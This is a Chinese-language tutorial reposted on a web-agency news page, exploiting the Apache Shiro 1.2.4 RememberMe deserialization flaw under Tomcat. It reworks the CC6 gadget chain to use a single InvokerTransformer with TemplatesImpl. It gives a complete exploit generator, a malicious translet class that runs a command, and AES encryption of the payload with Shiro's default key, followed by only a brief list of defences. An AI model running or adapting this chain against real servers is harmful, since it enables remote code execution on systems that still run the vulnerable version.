新闻详情

新闻详情

首页 / 资讯中心 / 详情

Shiro 1.2.4 反序列化实战:CC6链单Transformer改造,绕过Tomcat数组限制

发布时间:2026/9/9 23:04:37来源:尧图网络
Shiro 1.2.4 反序列化实战:CC6链单Transformer改造,绕过Tomcat数组限制
Shiro 1.2.4 反序列化漏洞实战CC6链单Transformer改造绕过Tomcat限制在Java安全研究领域Shiro框架的反序列化漏洞一直是热门话题。本文将深入探讨如何在Tomcat环境下通过改造CC6利用链仅使用单个InvokerTransformer实现命令执行完美绕过Shiro对非Java原生数组类的加载限制。1. 漏洞背景与核心挑战Apache Shiro作为广泛使用的Java安全框架其1.2.4及更早版本存在一个关键的安全缺陷——使用固定密钥进行RememberMe功能的Cookie加密。攻击者可以构造恶意序列化数据在服务端反序列化时实现远程代码执行。但实际渗透测试中会遇到一个棘手问题当Shiro部署在Tomcat环境下时传统的CC链利用方式会因数组类加载限制而失败。具体表现为java.lang.ClassNotFoundException: [Lorg.apache.commons.collections.Transformer;这个错误的根源在于Shiro重写了ClassResolvingObjectInputStream的resolveClass方法。当反序列化流中包含非Java原生数组类时Tomcat的类加载器无法正确加载这些类。2. CC6链原理与限制分析让我们先回顾标准CC6链的核心组件TiedMapEntry触发点其hashCode()会调用getValue()LazyMap通过get()方法触发transformChainedTransformer多Transformer串联执行传统实现需要Transformer数组Transformer[] transformers new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, ...), new InvokerTransformer(invoke, ...), new InvokerTransformer(exec, ...) };问题正出在这个数组上——[Lorg.apache.commons.collections.Transformer;不是Java原生数组类型导致Tomcat无法加载。3. 单Transformer改造方案3.1 关键突破点LazyMap的get方法观察LazyMap.get()的源码实现public Object get(Object key) { if (!map.containsKey(key)) { Object value factory.transform(key); // 关键调用 map.put(key, value); return value; } return map.get(key); }这里的关键发现是传入的key会直接作为参数传递给transform方法。这意味着我们可以完全控制transform方法的输入参数不再需要ConstantTransformer来传递Runtime实例。3.2 改造后的调用链改造后的核心思路使用TemplatesImpl承载恶意字节码将TemplatesImpl实例作为key传入通过InvokerTransformer直接调用newTransformer()graph TD A[TiedMapEntry.hashCode] -- B[TiedMapEntry.getValue] B -- C[LazyMap.get] C -- D[InvokerTransformer.transform] D -- E[TemplatesImpl.newTransformer] E -- F[恶意代码执行]3.3 关键技术实现3.3.1 恶意类构造首先创建包含恶意代码的模板类public class Evil extends AbstractTranslet { public Evil() throws Exception { Runtime.getRuntime().exec(calc); } // 必须实现的抽象方法 public void transform(DOM document, SerializationHandler[] handlers) {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }3.3.2 TemplatesImpl加载通过反射设置关键字段TemplatesImpl templates new TemplatesImpl(); setField(templates, _bytecodes, new byte[][]{evilBytes}); setField(templates, _name, Pwn); setField(templates, _tfactory, new TransformerFactoryImpl());3.3.3 精简后的Transformer配置仅需单个InvokerTransformerTransformer transformer new InvokerTransformer(newTransformer, null, null);4. 完整EXP实现以下是经过Tomcat环境验证的完整利用代码import com.sun.org.apache.xalan.internal.xsltc.trax.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import org.apache.commons.collections.keyvalue.*; import java.util.*; import java.lang.reflect.*; public class ShiroCC6SingleTransformer { public static void setField(Object obj, String fieldName, Object value) throws Exception { Field field obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static byte[] generatePayload(byte[] evilBytes) throws Exception { // 1. 构造TemplatesImpl TemplatesImpl templates new TemplatesImpl(); setField(templates, _bytecodes, new byte[][]{evilBytes}); setField(templates, _name, Pwn); setField(templates, _tfactory, new TransformerFactoryImpl()); // 2. 配置单Transformer Transformer transformer new InvokerTransformer(getClass, null, null); // 3. 构建LazyMap链 Map innerMap new HashMap(); Map lazyMap LazyMap.decorate(innerMap, transformer); TiedMapEntry entry new TiedMapEntry(lazyMap, templates); // 4. 触发反序列化 Map expMap new HashMap(); expMap.put(entry, value); // 5. 反射修改方法名 setField(transformer, iMethodName, newTransformer); // 清理防止本地触发 lazyMap.clear(); // 序列化为字节数组 ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(expMap); return baos.toByteArray(); } }5. 实战注意事项字节码处理确保evilBytes是有效的恶意类字节码可通过ClassPool获取ClassPool pool ClassPool.getDefault(); CtClass clazz pool.get(Evil.class.getName()); byte[] evilBytes clazz.toBytecode();Shiro加密最终payload需要经过AES加密AesCipherService aes new AesCipherService(); byte[] key Base64.getDecoder().decode(kPHbIxk5D2deZiIxcaaaA); ByteSource ciphertext aes.encrypt(payload, key);防御措施升级到Shiro 1.2.5及以上版本修改默认加密密钥禁用RememberMe功能6. 技术对比与优势特性传统CC6链本方案Transformer数量多个(数组)单个依赖数组类是否Tomcat兼容性不兼容兼容代码复杂度高低可靠性受环境限制更稳定这种改造方案不仅解决了Tomcat环境下的限制问题还简化了利用链结构提高了攻击的可靠性。对于安全研究人员而言理解这种改造思路有助于更好地分析其他反序列化漏洞的利用可能性。
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

STM32串口DMA不定长接收:从原理到HAL库实战 2026/9/9 23:04:34

STM32串口DMA不定长接收:从原理到HAL库实战

简介:STM32串口通信DMA例程是一份面向嵌入式开发者与STM32初学者的完整工程资源,围绕USART、DMA与空闲中断的结合,解决大量数据收发时CPU占用过高的问题,提升系统实时性。资源共793个文件,整体约35.8MB,以C…

阅读更多 →
深入Vue虚拟DOM:VNode、diff算法与编译优化全解析 2026/9/9 23:04:34

深入Vue虚拟DOM:VNode、diff算法与编译优化全解析

写Vue笔记到第三篇,终于轮到虚拟DOM了。这个知识点在Vue的学习路线里挺特别:你说它抽象,它其实不过是一层JS对象;你说它简单,Vue的diff算法、响应式更新、编译优化全都绕着它在转。网上讲虚拟DOM的文章不少&#xff0c…

阅读更多 →
基于Hadoop生态的上海二手房热度分析与趋势预测系统 2026/9/9 23:04:34

基于Hadoop生态的上海二手房热度分析与趋势预测系统

1. 项目启动前:为什么非要用Hadoop这套东西?先把丑话说前面。单看“上海二手房区域热度与性价比评估”这个业务命题,很多人的第一反应是:搞个MySQL加个定时脚本不就完事了吗?链家、贝壳页面爬一爬,存个表&a…

阅读更多 →
DeepTutor 上手实录:从装好到跑通第一条带引文的解答 2026/9/9 23:04:34

DeepTutor 上手实录:从装好到跑通第一条带引文的解答

DeepTutor 上手实录:从装好到跑通第一条带引文的解答 【免费下载链接】DeepTutor DeepTutor: Lifelong Personalized Tutoring. https://deeptutor.info/. 项目地址: https://gitcode.com/GitHub_Trending/dee/DeepTutor 凌晨一点的报错,缺的不是…

阅读更多 →
Qt + FFmpeg 视频解码显示实战:工程配置、线程与渲染详解 2026/9/9 23:04:34

Qt + FFmpeg 视频解码显示实战:工程配置、线程与渲染详解

简介:一份面向Qt与FFmpeg开发者的视频解码显示示例工程,基于Windows平台演示如何调用FFmpeg 2.5.2解码视频帧,并通过QPaint自绘到QWidget控件上。资源包含134个文件,压缩包约13MB,以h头文件为主(93个&#…

阅读更多 →
STM32 HAL库 MPU6050驱动:从I2C配置到姿态解算的完整实践 2026/9/9 23:01:33

STM32 HAL库 MPU6050驱动:从I2C配置到姿态解算的完整实践

简介:这是一份基于STM32F103C8T6与HAL库的MPU6050六轴传感器驱动工程,适合嵌入式入门开发者学习外设驱动与姿态解算。工程完整实现了通过I2C读取MPU6050原始数据,加载DMP固件解算姿态角,并经UART1串口输出的全过程,可直…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞